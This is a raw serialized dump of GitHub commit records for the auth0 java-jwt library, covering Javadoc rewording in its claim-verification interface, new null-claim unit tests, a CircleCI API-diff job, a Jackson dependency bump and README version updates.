-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Integer value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Long value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Long value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Double value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given String value.
+     * This check is case-sensitive.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Date value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Instant value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
         return withClaim(name, value != null ? Date.from(value) : null);
     }
 
     /**
-     * Executes the predicate provided during the verification
-     * and passes the verification if the predicate returns true.
+     * Executes the predicate provided and the validates the JWT if the predicate returns true.
      *
      * @param name the Claim's name
      * @param predicate the predicate check to be done.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given String items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, String... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Integer items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Long items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
 
     Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
 
     /**
-     * Skip the Issued At ("iat") date verification. By default, the verification is performed.
+     * Skip the Issued At ("iat") claim verification. By default, the verification is performed.
      *
      * @return this same Verification instance.
      */
@@ -267,7 +259,7 @@ default Verification withClaim(String name, Instant value) throws IllegalArgumen
     /**
      * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
      *
-     * @return a new JWTVerifier instance.
+     * @return a new {@link com.auth0.jwt.interfaces.JWTVerifier} instance.
      */
     JWTVerifier build();
 }ueu(e0723beb82366dbd99a29a11dec7b1df3fe05e36}(sha(e0723beb82366dbd99a29a11dec7b1df3fe05e36node_idEC_kwDOAQtL0doAKGUwNzIzYmViODIzNjZkYmQ5OWEyOWExMWRlYzdiMWRmM2ZlMDVlMzYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-28T08:48:17Zu	committer}(jw<  
Poovamraj T Tjy<  poovamraj@gmail.comj{<  2022-03-28T08:48:17ZumessageImproved Code Coveragetree}(jo<  (fbebb23a48e45b48d5f91b49dee43f77892eaaf2url^https://api.github.com/repos/auth0/java-jwt/git/trees/fbebb23a48e45b48d5f91b49dee43f77892eaaf2uj<  `https://api.github.com/repos/auth0/java-jwt/git/commits/e0723beb82366dbd99a29a11dec7b1df3fe05e36
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj<  \https://api.github.com/repos/auth0/java-jwt/commits/e0723beb82366dbd99a29a11dec7b1df3fe05e36html_urlQhttps://github.com/auth0/java-jwt/commit/e0723beb82366dbd99a29a11dec7b1df3fe05e36comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e0723beb82366dbd99a29a11dec7b1df3fe05e36/commentsju<  }(login	poovamrajidJ jq<  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j<  &https://api.github.com/users/poovamrajj<  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj}<  }(j<  	poovamrajj<  J jq<  MDQ6VXNlcjE1OTEwNDI1j<  4https://avatars.githubusercontent.com/u/15910425?v=4j<  h3j<  &https://api.github.com/users/poovamrajj<  https://github.com/poovamrajj<  0https://api.github.com/users/poovamraj/followersj<  =https://api.github.com/users/poovamraj/following{/other_user}j<  6https://api.github.com/users/poovamraj/gists{/gist_id}j<  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j<  4https://api.github.com/users/poovamraj/subscriptionsj<  +https://api.github.com/users/poovamraj/orgsj<  ,https://api.github.com/users/poovamraj/reposj<  7https://api.github.com/users/poovamraj/events{/privacy}j<  6https://api.github.com/users/poovamraj/received_eventsj<  Userj<  uparents]}(jo<  (60220a3fb55e5953dcc26a6306c12de1320310cdj<  \https://api.github.com/repos/auth0/java-jwt/commits/60220a3fb55e5953dcc26a6306c12de1320310cdj<  Qhttps://github.com/auth0/java-jwt/commit/60220a3fb55e5953dcc26a6306c12de1320310cduastats}(totalK+	additionsK+	deletionsK ufiles]}(jo<  (18f59f041554e8e06b05eeaf63f26bd43dbce603filename;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javastatusmodifiedj<  K+j<  K changesK+blob_urlhttps://github.com/auth0/java-jwt/blob/e0723beb82366dbd99a29a11dec7b1df3fe05e36/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e0723beb82366dbd99a29a11dec7b1df3fe05e36/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=e0723beb82366dbd99a29a11dec7b1df3fe05e36patchX  @@ -28,6 +28,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
+import static org.junit.Assert.assertNull;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -313,6 +314,48 @@ public void shouldThrowIfCustomClassMismatch() {
         claim.as(String.class);
     }
 
+    @Test
+    public void shouldReturnNullForMissingAndNullClaims() {
+        JsonNode missingValue = MissingNode.getInstance();
+        Claim missingClaim = claimFromNode(missingValue);
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.isNull(), is(false));
+        assertNull(missingClaim.as(String.class));
+        assertNull(missingClaim.asString());
+        assertNull(missingClaim.asBoolean());
+        assertNull(missingClaim.asDate());
+        assertNull(missingClaim.asDouble());
+        assertNull(missingClaim.asLong());
+        assertNull(missingClaim.asInt());
+        assertNull(missingClaim.asInstant());
+        assertNull(missingClaim.asMap());
+        assertNull(missingClaim.asList(String.class));
+        assertNull(missingClaim.asArray(String.class));
+
+        JsonNode nullValue = mapper.valueToTree(null);
+        Claim nullClaim = claimFromNode(nullValue);
+        assertThat(nullClaim.isMissing(), is(false));
+        assertThat(nullClaim.isNull(), is(true));
+        assertNull(nullClaim.as(String.class));
+        assertNull(nullClaim.asString());
+        assertNull(nullClaim.asBoolean());
+        assertNull(nullClaim.asDate());
+        assertNull(nullClaim.asDouble());
+        assertNull(nullClaim.asLong());
+        assertNull(nullClaim.asInt());
+        assertNull(nullClaim.asInstant());
+        assertNull(nullClaim.asMap());
+        assertNull(nullClaim.asList(String.class));
+        assertNull(nullClaim.asArray(String.class));
+    }
+
+    @Test
+    public void shouldReturnNullForInvalidArrayValue() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        Claim claim = claimFromNode(value);
+        assertNull(claim.asArray(String.class));
+    }
+
     @SuppressWarnings({"unchecked", "RedundantCast"})
     @Test
     public void shouldGetAsMapValue() {uau(49c5def67ab2d37aa98f210bec2ca5ea39889d8c}(sha(49c5def67ab2d37aa98f210bec2ca5ea39889d8cnode_idEC_kwDOAQtL0doAKDQ5YzVkZWY2N2FiMmQzN2FhOThmMjEwYmVjMmNhNWVhMzk4ODlkOGMcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-19T15:46:57Zu	committer}(j<  GitHubj<  noreply@github.comj<  2022-10-19T15:46:57Zumessage*Re-enable japicmp API diff checking (#619)tree}(j<  (d7152ddffa51135c4b23b47f10e607ef60190e58url^https://api.github.com/repos/auth0/java-jwt/git/trees/d7152ddffa51135c4b23b47f10e607ef60190e58uj<  `https://api.github.com/repos/auth0/java-jwt/git/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8c
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUBvxCRBK7hj4Ov3rIwAAClwIAHBqsFbX66t4ivppf3XPfE5c
eWW1OIt9fvBecGyWMqVBD7JDcB0qGgDyV1UQucvLNoIJkPfcYfYjZgu5zgKI89K/
qnuVO2+B+T8dqiwFCBWV1P/inQqov/B+I/9wgFF2s+oGni5N3XIypCC7Ad7wzRqW
04Yw5L3b9kX2f7S9duDJesrQOGWVliowiqSRsboGmzViZpwpn5JZ0d3EWTHXSc7M
LKxRC6sNB7iJMgzcSgPjfLn00CXjCipK/KfU0GKs5bkHnJANVaBys8kEYhLWjHlR
enMUoPtbZNxenssw6bqjaiYou8CsoXCdbmoB4fWOL5tU014VePbvAOv/bJ46ezs=
=rHs3
-----END PGP SIGNATURE-----
payloadX   tree d7152ddffa51135c4b23b47f10e607ef60190e58
parent e8808abb910bb2d3ea8da816e626a7df9fc543e9
author Jim Anderson <jim.anderson@auth0.com> 1666194417 -0500
committer GitHub <noreply@github.com> 1666194417 -0500

Re-enable japicmp API diff checking (#619)

uuj<  \https://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8c     html_urlQhttps://github.com/auth0/java-jwt/commit/49c5def67ab2d37aa98f210bec2ca5ea39889d8ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8c/commentsj<  }(login
jimmyjamesidJ7 j<  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j<  'https://api.github.com/users/jimmyjamesj
=  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj<  }(j=  web-flowj=  J/j<  MDQ6VXNlcjE5ODY0NDQ3j=  4https://avatars.githubusercontent.com/u/19864447?v=4j=  h3j<  %https://api.github.com/users/web-flowj
=  https://github.com/web-flowj=  /https://api.github.com/users/web-flow/followersj=  <https://api.github.com/users/web-flow/following{/other_user}j=  5https://api.github.com/users/web-flow/gists{/gist_id}j=  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j =  3https://api.github.com/users/web-flow/subscriptionsj"=  *https://api.github.com/users/web-flow/orgsj$=  +https://api.github.com/users/web-flow/reposj&=  6https://api.github.com/users/web-flow/events{/privacy}j(=  5https://api.github.com/users/web-flow/received_eventsj*=  Userj,=  uparents]}(j<  (e8808abb910bb2d3ea8da816e626a7df9fc543e9j<  \https://api.github.com/repos/auth0/java-jwt/commits/e8808abb910bb2d3ea8da816e626a7df9fc543e9j
=  Qhttps://github.com/auth0/java-jwt/commit/e8808abb910bb2d3ea8da816e626a7df9fc543e9uastats}(totalK,	additionsK	deletionsKufiles](}(j<  (32e9d4de767b3b2abd457def666219d608929e0afilename.circleci/config.ymlstatusmodifiedjF=  KjG=  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/49c5def67ab2d37aa98f210bec2ca5ea39889d8c/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/49c5def67ab2d37aa98f210bec2ca5ea39889d8c/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=49c5def67ab2d37aa98f210bec2ca5ea39889d8cpatchX  @@ -23,14 +23,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  # run-api-diff:
-  #   steps:
-  #     # run apiDiff task
-  #     - run: ./gradlew apiDiff
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.txt
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.html
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -42,16 +42,16 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  # api-diff:
-  #   docker:
-  #     - image: openjdk:11.0-jdk
-  #   steps:
-  #     - checkout-and-build
-  #     - run-api-diff
-  #   environment:
-  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-  #     TERM: dumb
+  api-diff:
+    docker:
+      - image: openjdk:11.0-jdk
+    steps:
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:
@@ -68,6 +68,6 @@ workflows:
                 - master
           requires:
             - build
-  # api-diff:
-  #   jobs:
-  #     - api-diff
+  api-diff:
+    jobs:
+      - api-diffu}(j<  (a0d7a7dacdf2fcf2cefe83b611b5cffd841c02b6jL=  lib/build.gradlejN=  modifiedjF=  KjG=  KjP=  KjQ=  bhttps://github.com/auth0/java-jwt/blob/49c5def67ab2d37aa98f210bec2ca5ea39889d8c/lib%2Fbuild.gradlejS=  ahttps://github.com/auth0/java-jwt/raw/49c5def67ab2d37aa98f210bec2ca5ea39889d8c/lib%2Fbuild.gradlejU=  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=49c5def67ab2d37aa98f210bec2ca5ea39889d8cjW=  X  @@ -28,7 +28,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "4.0.0"
+    baselineCompareVersion "4.1.0"
     skipAssertSigningConfiguration true
 
     developers {ueu(18497d562ae277d76fc67ebdf3057e0604df8899}(sha(18497d562ae277d76fc67ebdf3057e0604df8899node_idEC_kwDOAQtL0doAKDE4NDk3ZDU2MmFlMjc3ZDc2ZmM2N2ViZGYzMDU3ZTA2MDRkZjg4OTkcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-24T14:43:22Zu	committer}(jk=  Jim Andersonjm=  jimranderson@gmail.comjo=  2022-10-24T14:43:22Zumessage@Update `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2tree}(jc=  (813212582a16ff71bc98cc3ab3646ff779f765acurl^https://api.github.com/repos/auth0/java-jwt/git/trees/813212582a16ff71bc98cc3ab3646ff779f765acuj{=  `https://api.github.com/repos/auth0/java-jwt/git/commits/18497d562ae277d76fc67ebdf3057e0604df8899
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj{=  \https://api.github.com/repos/auth0/java-jwt/commits/18497d562ae277d76fc67ebdf3057e0604df8899html_urlQhttps://github.com/auth0/java-jwt/commit/18497d562ae277d76fc67ebdf3057e0604df8899comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/18497d562ae277d76fc67ebdf3057e0604df8899/commentsji=  }(login
jimmyjamesidJ7 je=  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j{=  'https://api.github.com/users/jimmyjamesj=  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujq=  }(j=  
jimmyjamesj=  J7 je=  MDQ6VXNlcjI3NjIyNQ==j=  2https://avatars.githubusercontent.com/u/276225?v=4j=  h3j{=  'https://api.github.com/users/jimmyjamesj=  https://github.com/jimmyjamesj=  1https://api.github.com/users/jimmyjames/followersj=  >https://api.github.com/users/jimmyjames/following{/other_user}j=  7https://api.github.com/users/jimmyjames/gists{/gist_id}j=  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j=  5https://api.github.com/users/jimmyjames/subscriptionsj=  ,https://api.github.com/users/jimmyjames/orgsj=  -https://api.github.com/users/jimmyjames/reposj=  8https://api.github.com/users/jimmyjames/events{/privacy}j=  7https://api.github.com/users/jimmyjames/received_eventsj=  Userj=  uparents]}(jc=  (c154c46434a543cec797eed993b50f1ca3e5db71j{=  \https://api.github.com/repos/auth0/java-jwt/commits/c154c46434a543cec797eed993b50f1ca3e5db71j=  Qhttps://github.com/auth0/java-jwt/commit/c154c46434a543cec797eed993b50f1ca3e5db71uastats}(totalK	additionsK	deletionsKufiles]}(jc=  (dd0d043b04e42af17eb293cc2cb682f9af3fe380filenamelib/build.gradlestatusmodifiedj=  Kj=  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/18497d562ae277d76fc67ebdf3057e0604df8899/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/18497d562ae277d76fc67ebdf3057e0604df8899/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=18497d562ae277d76fc67ebdf3057e0604df8899patchXi  @@ -60,7 +60,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(5abfc20e70546f32aedbbc857eac296e712c1a90}(sha(5abfc20e70546f32aedbbc857eac296e712c1a90node_idEC_kwDOAQtL0doAKDVhYmZjMjBlNzA1NDZmMzJhZWRiYmM4NTdlYWMyOTZlNzEyYzFhOTAcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-06-24T11:42:08Zu	committer}(j=  GitHubj=  noreply@github.comj=  2022-06-24T11:42:08ZumessageLMerge pull request #590 from auth0/poovamraj-update-readme

Update README.mdtree}(j=  (dc0aab29b13f806042ebc39b6bf695aaedae1309url^https://api.github.com/repos/auth0/java-jwt/git/trees/dc0aab29b13f806042ebc39b6bf695aaedae1309uj=  `https://api.github.com/repos/auth0/java-jwt/git/commits/5abfc20e70546f32aedbbc857eac296e712c1a90
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJitaMQCRBK7hj4Ov3rIwAAmaAIADUm4vfNWrcL9kSmIQEMardE
SWMU2ASSqZCl5cdSct26stNGZi7P1QH379kgCHbxfdA5A0O3EnjXczV6A0VEC5gR
+g593CLBPO2EMVPaoYtEDk4318P7vT+faaWLqkXba16Q7kPi/Lw+B+dHVM3acCmp
n7t30ntWMbTTzdANYl2cEpa/cNZgtIk9fv7zIrU0PXEuZ+bqja0wZ/fPBe9s6+Hs
rsI/qO/ojSoLgKlU2+8U1oyWgCQUthyJJVOxwlyoa3Tv+UMr1d+M4j9MgUVfp1KS
wmGfPWpdY4EvsJp49PMwrPetfdIoscbBTjnFCUwkv50GdFN1gMlJhlTRRC1tLKA=
=t03q
-----END PGP SIGNATURE-----
payloadXN  tree dc0aab29b13f806042ebc39b6bf695aaedae1309
parent 9e7dd708eb6edabc995b95808c8c93809d18a23a
parent 929b99ed71c086b044e9f38fb6996298b604d58a
author Poovamraj T T <poovamraj@gmail.com> 1656070928 +0200
committer GitHub <noreply@github.com> 1656070928 +0200

Merge pull request #590 from auth0/poovamraj-update-readme

Update README.mduuj=  \https://api.github.com/repos/auth0/java-jwt/commits/5abfc20e70546f32aedbbc857eac296e712c1a90html_urlQhttps://github.com/auth0/java-jwt/commit/5abfc20e70546f32aedbbc857eac296e712c1a90comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5abfc20e70546f32aedbbc857eac296e712c1a90/commentsj=  }(login	poovamrajidJ j=  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j=  &https://api.github.com/users/poovamrajj=  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj=  }(j>  web-flowj>  J/j=  MDQ6VXNlcjE5ODY0NDQ3j>  4https://avatars.githubusercontent.com/u/19864447?v=4j	>  h3j=  %https://api.github.com/users/web-flowj=  https://github.com/web-flowj>  /https://api.github.com/users/web-flow/followersj>  <https://api.github.com/users/web-flow/following{/other_user}j>  5https://api.github.com/users/web-flow/gists{/gist_id}j>  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j>  3https://api.github.com/users/web-flow/subscriptionsj>  *https://api.github.com/users/web-flow/orgsj>  +https://api.github.com/users/web-flow/reposj>  6https://api.github.com/users/web-flow/events{/privacy}j>  5https://api.github.com/users/web-flow/received_eventsj>  Userj >  uparents](}(j=  (9e7dd708eb6edabc995b95808c8c93809d18a23aj=  \https://api.github.com/repos/auth0/java-jwt/commits/9e7dd708eb6edabc995b95808c8c93809d18a23aj=  Qhttps://github.com/auth0/java-jwt/commit/9e7dd708eb6edabc995b95808c8c93809d18a23au}(j=  (929b99ed71c086b044e9f38fb6996298b604d58aj=  \https://api.github.com/repos/auth0/java-jwt/commits/929b99ed71c086b044e9f38fb6996298b604d58aj=  Qhttps://github.com/auth0/java-jwt/commit/929b99ed71c086b044e9f38fb6996298b604d58auestats}(totalK
	additionsK	deletionsKufiles]}(j=  (77fb30fc572c287e1db2d1c599c07be57190c54efilename	README.mdstatusmodifiedj>>  Kj?>  KchangesK
blob_urlYhttps://github.com/auth0/java-jwt/blob/5abfc20e70546f32aedbbc857eac296e712c1a90/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/5abfc20e70546f32aedbbc857eac296e712c1a90/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=5abfc20e70546f32aedbbc857eac296e712c1a90patchX  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
+implementation 'com.auth0:java-jwt:4.0.0'
 ```
 
 ### Maven
@@ -48,16 +48,10 @@ implementation 'com.auth0:java-jwt:3.19.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>4.0.0</version>
 </dependency>
 ```
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
-```
-
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:uau(566aeb6322f51bb2674e751b62827d26c150dd57}(sha(566aeb6322f51bb2674e751b62827d26c150dd57node_idEC_kwDOAQtL0doAKDU2NmFlYjYzMjJmNTFiYjI2NzRlNzUxYjYyODI3ZDI2YzE1MGRkNTccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T12:39:52Zu	committer}(j[>  
Poovamraj T Tj]>  poovamraj@gmail.comj_>  2022-04-12T12:39:52Zumessage
Trigger Buildtree}(jS>  (28b8deb479fc6db7e1b4f2e974753e48633470e9url^https://api.github.com/repos/auth0/java-jwt/git/trees/28b8deb479fc6db7e1b4f2e974753e48633470e9ujk>  `https://api.github.com/repos/auth0/java-jwt/git/commits/566aeb6322f51bb2674e751b62827d26c150dd57
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujk>  \https://api.github.com/repos/auth0/java-jwt/commits/566aeb6322f51bb2674e751b62827d26c150dd57html_urlQhttps://github.com/auth0/java-jwt/commit/566aeb6322f51bb2674e751b62827d26c150dd57comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/566aeb6322f51bb2674e751b62827d26c150dd57/commentsjY>  }(login	poovamrajidJ jU>  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jk>  &https://api.github.com/users/poovamrajjw>  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuja>  }(j|>  	poovamrajj~>  J jU>  MDQ6VXNlcjE1OTEwNDI1j>  4https://avatars.githubusercontent.com/u/15910425?v=4j>  h3jk>  &https://api.github.com/users/poovamrajjw>  